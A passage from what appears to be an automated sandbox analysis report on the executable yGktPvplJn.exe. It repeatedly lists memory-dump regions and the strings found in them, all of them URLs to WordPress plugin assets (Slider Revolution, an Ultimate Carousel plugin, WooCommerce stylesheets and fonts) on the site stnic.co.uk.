00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.6.12
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.6.12
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/ultimate-carousel-for-visual-composer-pro/render/../css/jq
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/ultimate-carousel-for-visual-composer-pro/render/../css/sl
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/ultimate-carousel-for-visual-composer-pro/render/../js/cus
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/ultimate-carousel-for-visual-composer-pro/render/../js/jqu
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/ultimate-carousel-for-visual-composer-pro/render/../js/sli
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-9.1.
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=9.1.4
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=9.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=9.1.4
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/woocommerce/assets/fonts/Inter-VariableFont_slnt
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 